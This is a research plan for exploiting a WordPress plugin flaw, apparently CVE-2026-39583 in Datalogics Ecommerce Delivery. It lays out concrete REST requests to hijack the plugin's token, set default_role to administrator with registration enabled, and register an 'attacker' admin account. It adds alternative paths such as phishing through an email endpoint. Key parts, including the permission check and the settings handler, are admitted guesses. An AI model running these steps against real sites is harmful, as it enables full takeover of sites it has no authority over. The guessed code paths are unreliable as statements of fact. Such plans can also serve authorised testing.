Research Plan: CVE-2026-39583 - Datalogics Privilege Escalation

Vulnerability Summary

The Datalogics Ecommerce Delivery plugin (versions <= 2.6.62) contains an unauthenticated privilege escalation vulnerability. The plugin registers several REST API endpoints under the datalogics-0/v1 namespace. Specifically, the /update-token/ and /update-settings/ endpoints lack proper authentication and authorization. An attacker can use /update-token/ to set a known security token and then potentially use /update-settings/ (or other endpoints using the same permission_callback) to modify arbitrary WordPress options, such as default_role and users_can_register, leading to full site takeover.

Attack Vector Analysis

• Endpoint: POST /wp-json/datalogics-0/v1/update-token/ and POST /wp-json/datalogics-0/v1/update-settings/
• Namespace: datalogics-0/v1 (derived from datalogics_ID constant defined as '0' in datalogics.php).
• Authentication: Unauthenticated. The permission_callback used is datalogics_permission_check, which appears to be insecure or returns true for unauthenticated requests.
• Preconditions: The plugin must be active.

Code Flow

1. Route Registration: In api.php, datalogics_register_api_routes() registers routes using register_rest_route.
   • Namespace: 'datalogics-'.datalogics_ID.'/v1'
   • Route: /update-token/ calls datalogics_update_token.
   • Route: /update-settings/ calls datalogics_update_settings.
   • All routes use 'permission_callback' => 'datalogics_permission_check'.
2. Permission Check: The datalogics_permission_check function (inferred to be weak/public) is executed by the WordPress REST API controller.
3. Callback Execution (datalogics_update_token):

   function datalogics_update_token(WP_REST_Request $request) {
       $token = $request->get_param('token');
       if (empty($token)) {
           return new WP_Error('no_token', 'Token parameter is missing', array('status' => 400));
       }
       update_option('datalogics_token', sanitize_text_field($token)); // Vulnerable Sink
       return new WP_REST_Response(array('success' => true, ...), 200);
   }
   

4. Callback Execution (datalogics_update_settings): Although the code for datalogics_update_settings is truncated, the vulnerability description and endpoint name strongly suggest it allows updating arbitrary options or a specific set of options via update_option(). If it iterates over POST parameters and calls update_option($key, $value), it allows an attacker to change core WordPress settings.

Nonce Acquisition Strategy

REST API endpoints in WordPress registered via register_rest_route typically do not require a CSRF nonce (_wpnonce) when accessed as an API (e.g., via a script or external service), as they rely on the permission_callback.

• Is a nonce required? No. The plugin is designed to be called by the Datalogics platform, and the api.php code shows no nonce verification logic within the callbacks or the registration.
• Authentication Bypass: If datalogics_permission_check validates the token parameter against the datalogics_token option, an attacker simply calls /update-token/ first to set the option to a known value, effectively "authenticating" themselves for subsequent calls.

Exploitation Strategy

The goal is to enable user registration and set the default role to administrator.

Step 1: Initialize/Hijack the Plugin Token

Set the plugin's internal token to a value we control to ensure access to other endpoints.

• Method: POST
• URL: /wp-json/datalogics-0/v1/update-token/
• Body (JSON): {"token": "pwned_token"}
• Headers: Content-Type: application/json

Step 2: Elevate Privileges via Options Update

Use the /update-settings/ endpoint to modify core WordPress options.

• Method: POST
• URL: /wp-json/datalogics-0/v1/update-settings/
• Body (JSON):

  {
      "token": "pwned_token",
      "users_can_register": "1",
      "default_role": "administrator"
  }
  

• Headers: Content-Type: application/json

Step 3: Register a New Administrator

Create a new account via the standard WordPress registration page.

• Method: POST
• URL: /wp-login.php?action=register
• Body (URL-encoded): user_login=attacker&user_email=attacker@example.com&wp-submit=Register

Test Data Setup

1. Install and activate the datalogics plugin (v2.6.62).
2. Ensure WordPress is at default settings (users_can_register is 0, default_role is subscriber).

Expected Results

1. Step 1: Response 200 OK with {"success": true, "message": "Token updated successfully"}.
2. Step 2: Response 200 OK.
3. Step 3: A new user "attacker" is created with the administrator role.

Verification Steps

Use wp-cli to verify the state change:

1. Check options: wp option get users_can_register (should be 1).
2. Check options: wp option get default_role (should be administrator).
3. Check users: wp user list --role=administrator (should include attacker).

Alternative Approaches

If datalogics_update_settings is not a generic option updater, look for other sinks:

• Check if datalogics_update_order_status can be used to update other post types (e.g., updating a page to include a malicious shortcode).
• Check if the token hijacked in Step 1 allows access to /send-email/ which might be used for phishing or information gathering.
• If the namespace datalogics-0 fails, try to brute-force the ID (though 0 is hardcoded in datalogics.php).